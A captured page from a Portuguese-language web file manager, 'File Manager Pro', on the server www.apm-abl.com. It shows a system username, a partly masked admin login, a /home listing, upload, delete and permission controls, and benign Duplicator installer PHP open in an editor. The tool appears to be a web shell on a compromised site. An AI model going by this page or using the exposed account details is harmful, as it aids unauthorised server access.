🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_292bfa1f / 82f5****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: class.u.template.item.php
<?php /** * Search and reaplace manager * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ defined('ABSPATH') || defined('DUPXABSPATH') || exit; use Duplicator\Libs\Snap\SnapIO; class DUPX_TemplateItem { /** @var string */ protected $name = null; /** @var string */ protected $mainFolder = null; /** @var null|DUPX_TemplateItem */ protected $parent = null; /** * Class contructor * * @param string $name * @param string $mainFolder * @param null|DUPX_TemplateItem $parentName */ public function __construct($name, $mainFolder, $parent = null) { if (empty($name)) { throw new Exception('The name of template can\'t be empty'); } if (!is_dir($mainFolder) || !is_readable($mainFolder)) { throw new Exception('The main main folder doesn\'t exist'); } if (!is_null($parent) && !$parent instanceof self) { throw new Exception('the parent must be a instance of ' . __CLASS__); } $this->name = $name; $this->mainFolder = SnapIO::safePathUntrailingslashit($mainFolder); $this->parent = $parent; } /** * Render template * * @param string $fileTpl // template file is a relative path from root template folder * @param array $args // array key / val where key is the var name in template * @param bool $echo // if false return template in string * * @return string */ public function render($fileTpl, $args = array(), $echo = true) { ob_start(); if (($renderFile = $this->getFileTemplate($fileTpl)) !== false) { foreach ($args as $var => $value) { ${$var} = $value; } require($renderFile); } else { echo '<p>FILE TPL NOT FOUND: ' . $fileTpl . '</p>'; } if ($echo) { ob_end_flush(); return ''; } else { return ob_get_clean(); } } /** * Acctept html of php extensions. if the file have unknown extension automatic add the php extension * * @param string $fileTpl * * @return boolean|string return false if don\'t find the template file */ protected function getFileTemplate($fileTpl) { $fileExtension = strtolower(pathinfo($fileTpl, PATHINFO_EXTENSION)); switch ($fileExtension) { case 'php': case 'html': $fileName = $fileTpl; break; default: $fileName = $fileTpl . '.php'; } $fullPath = $this->mainFolder . '/' . $fileName; if (file_exists($fullPath)) { return $fullPath; } elseif (!is_null($this->parent)) { return $this->parent->getFileTemplate($fileName); } else { return false; } } }
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar